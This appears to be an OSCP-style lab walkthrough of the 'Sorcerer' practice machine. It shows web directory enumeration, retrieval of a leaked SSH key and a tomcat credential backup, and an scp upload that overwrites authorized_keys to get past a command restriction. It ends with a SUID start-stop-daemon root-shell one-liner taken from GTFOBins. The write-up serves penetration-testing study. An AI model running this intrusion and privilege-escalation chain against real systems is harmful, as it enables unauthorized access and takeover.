> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/sorcerer/7742.md).

# 7742

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-aae1607281879d667095aa96794b70e836ad9cf2%2Fba7b0b36dda9cff9783005101ebbe3f9.png?alt=media) Running feroxbuster:

```
feroxbuster -u http://192.168.190.100:7742/ -C 404,400 -A --wordlist '/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt' -B --auto-tune
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-d92038a880004e2bfffc7217279cc897696fa29f%2Fea5cff945e8e1c2810dc8636a220c977.png?alt=media) Can be potential usernames.

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-22818423e1bb57c38ff2b956a8de1ae220c0199e%2F77f614fddad4beb3f73f4a91fcf7e722.png?alt=media) We have an authorized key in max zip file: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-945e7592dc29ec3dd6e3ce6245cf02b1acd53cd3%2F5caf7a68a22b250726db925b08930c12.png?alt=media) With a single command allowed and a private key: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-07b2c8770940989e35526c6be8b8f790e548aa81%2Fad5189063f55b3ea7ac8eae9ddc86f40.png?alt=media) Also a tomcat password: tomcat-users.xml.bak ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-aaac82b5010e541e378425d99c2add3d550b6ced%2F59f8e04a587d22af3bb1b2b4a2c1cf76.png?alt=media)

Then scp\_wrapper.sh: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-491eec7378d9bc50062ca2789149b88a07e91d19%2F2f261a461148111a463436cd219f3d31.png?alt=media)

Now we can try running this script with ssh:

```
ssh max@192.168.190.100 -i id_rsa /home/max/scp_wrapper.sh
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-ab7b1048e8b9af16607231c245c2eda789f44ece%2F0488330d28add43d0de030b22e8e93bb.png?alt=media)

Now we see that we can run scp. So modifying the authorized keys to remove the command limiting part: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-639991cc3384db0a9964b966696c54566db32bfe%2F934fd35d95f7923f3aacbe16f583c1ae.png?alt=media) Now:

```
scp -O -i id_rsa authorized_keys max@192.168.190.100:/home/max/.ssh/authorized_keys
```

We transferred the modified authorized keys to the target. ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-5d41335c0e4eea5297d78c1d17090d70e7bc88c4%2F2ce001f6190cf21787cb41976dfa3d1d.png?alt=media) Now dennis has local.txt: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-935c166d1f3dacff0aba745fd78e8e29a492a1ff%2F3b9409c01a041ec4cee0567e2747004f.png?alt=media)

Now running linpeas: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-c67edc8da096b1db334c057b598f9446da565b62%2F89be8bc306abedeef6925a92dc9ec8ba.png?alt=media) Now using gtfobins: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-9767b4c81883235987aa135dac164aa4e45ff078%2F05914c45e7a1fd1d7479e5b3cbe7f42b.png?alt=media)

```
/usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-09229edd0d0319ef2790505f0749cf9c07a0979b%2F7615e5cbe23c8f349ba001a627cf28db.png?alt=media)